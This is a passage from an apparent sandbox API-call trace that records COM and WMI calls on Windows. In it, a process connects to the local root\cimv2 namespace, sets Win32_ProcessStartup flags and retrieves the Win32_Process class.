pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0112.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4b0360) returned 0x0 [0112.282] WbemDefPath:IUnknown:AddRef (This=0x1b4b0360) returned 0x3 [0112.282] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x2 [0112.283] WbemDefPath:IWbemPath:SetText (This=0x1b4b0360, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0112.283] IWbemClassObject:Get (in: This=0x1b4ce630, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2958e98*=0, plFlavor=0x2958e9c*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2958e98*=19, plFlavor=0x2958e9c*=0) returned 0x0 [0112.283] IWbemClassObject:Get (in: This=0x1b4ce630, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2958e98*=19, plFlavor=0x2958e9c*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2958e98*=19, plFlavor=0x2958e9c*=0) returned 0x0 [0112.283] IWbemClassObject:Put (This=0x1b4ce630, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0112.283] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0112.283] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0112.283] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0112.283] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0112.283] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0112.283] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0112.283] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0112.283] IUnknown:Release (This=0x6124e8) returned 0x1 [0112.284] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4d2c80) returned 0x0 [0112.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2c80, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0112.284] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2c80, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4af160) returned 0x0 [0112.284] WbemDefPath:IUnknown:Release (This=0x1b4d2c80) returned 0x0 [0112.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4af160) returned 0x0 [0112.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0112.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0112.285] WbemDefPath:IUnknown:AddRef (This=0x1b4af160) returned 0x3 [0112.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0112.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0112.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4d2ce0) returned 0x0 [0112.285] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2ce0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.285] WbemDefPath:IUnknown:Release (This=0x1b4d2ce0) returned 0x3 [0112.285] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0112.285] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0112.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0112.285] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x2 [0112.285] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x1 [0112.285] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0112.285] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0112.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4af160) returned 0x0 [0112.285] WbemDefPath:IUnknown:AddRef (This=0x1b4af160) returned 0x3 [0112.285] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x2 [0112.285] WbemDefPath:IWbemPath:SetText (This=0x1b4af160, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0112.286] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af160, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0112.286] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0112.286] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0112.286] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0112.286] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0112.286] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0112.286] IUnknown:Release (This=0x6124e8) returned 0x1 [0112.286] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4d2dc0) returned 0x0 [0112.286] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2dc0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0112.287] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d2dc0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4d2a40) returned 0x0 [0112.287] WbemLocator:IUnknown:Release (This=0x1b4d2dc0) returned 0x0 [0112.287] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4d2a40) returned 0x0 [0112.287] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0112.287] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0112.287] WbemLocator:IUnknown:AddRef (This=0x1b4d2a40) returned 0x3 [0112.287] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0112.287] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0112.287] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0112.287] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0112.287] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0112.287] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0112.287] WbemLocator:IUnknown:Release (This=0x1b4d2a40) returned 0x2 [0112.287] WbemLocator:IUnknown:Release (This=0x1b4d2a40) returned 0x1 [0112.287] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0112.287] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0112.287] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4d2a40) returned 0x0 [0112.287] WbemLocator:IUnknown:AddRef (This=0x1b4d2a40) returned 0x3 [0112.287] WbemLocator:IUnknown:Release (This=0x1b4d2a40) returned 0x2 [0112.288] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af160, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0112.288] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0112.288] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0112.288] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4d2a60) returned 0x0 [0112.288] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d2a60, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x63b300) returned 0x0 [0112.321] WbemLocator:IUnknown:QueryInterface (in: This=0x63b300, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b4ad6f0) returned 0x0 [0112.321] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4ad6f0, pProxy=0x63b300, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0112.321] WbemLocator:IUnknown:Release (This=0x1b4ad6f0) returned 0x1 [0112.321] WbemLocator:IUnknown:QueryInterface (in: This=0x63b300, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b4ad738) returned 0x0 [0112.321] WbemLocator:IUnknown:QueryInterface (in: This=0x63b300, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b4ad6f0) returned 0x0 [0112.321] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4ad6f0, pProxy=0x63b300, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0112.322] WbemLocator:IUnknown:Release (This=0x1b4ad6f0) returned 0x2 [0112.322] WbemLocator:IUnknown:Release (This=0x1b4ad738) returned 0x1 [0112.322] CoTaskMemFree (pv=0x1b4617c0) [0112.322] WbemLocator:IUnknown:Release (This=0x1b4d2a60) returned 0x0 [0112.322] WbemLocator:IUnknown:QueryInterface (in: This=0x63b300, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b4ad738) returned 0x0 [0112.322] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad738, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0112.323] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad738, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0112.323] WbemLocator:IUnknown:QueryInterface (in: This=0x63b300, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0112.324] WbemLocator:IUnknown:AddRef (This=0x1b4ad738) returned 0x3 [0112.324] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad738, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0112.324] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad738, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0112.324] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad738, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b4ad618) returned 0x0 [0112.324] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b4ad618, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.324] WbemLocator:IUnknown:Release (This=0x1b4ad618) returned 0x3 [0112.324] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0112.324] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0112.324] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad738, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b4ad700) returned 0x0 [0112.324] WbemLocator:IRpcOptions:Query (in: This=0x1b4ad700, pPrx=0x1b4ad738, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0112.324] WbemLocator:IUnknown:Release (This=0x1b4ad700) returned 0x3 [0112.324] WbemLocator:IUnknown:Release (This=0x1b4ad738) returned 0x2 [0112.324] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0112.324] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0112.324] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad738, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x63b300) returned 0x0 [0112.327] WbemLocator:IUnknown:AddRef (This=0x63b300) returned 0x4 [0112.327] WbemLocator:IUnknown:Release (This=0x63b300) returned 0x3 [0112.327] WbemLocator:IUnknown:Release (This=0x63b300) returned 0x2 [0112.327] SysStringLen (param_1=0x0) returned 0x0 [0112.327] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af160, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0112.327] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0112.327] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0112.327] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0112.327] WbemLocator:IUnknown:AddRef (This=0x1b4ad738) returned 0x3 [0112.327] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad738, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b4ad738) returned 0x0 [0112.327] WbemLocator:IUnknown:Release (This=0x1b4ad738) returned 0x3 [0112.327] WbemLocator:IUnknown:Release (This=0x1b4ad738) returned 0x2 [0112.327] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0112.327] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0112.328] IWbemServices:GetObject (in: This=0x63b300, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d97f0, ppCallResult=0x0) returned 0x0 [0112.331] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 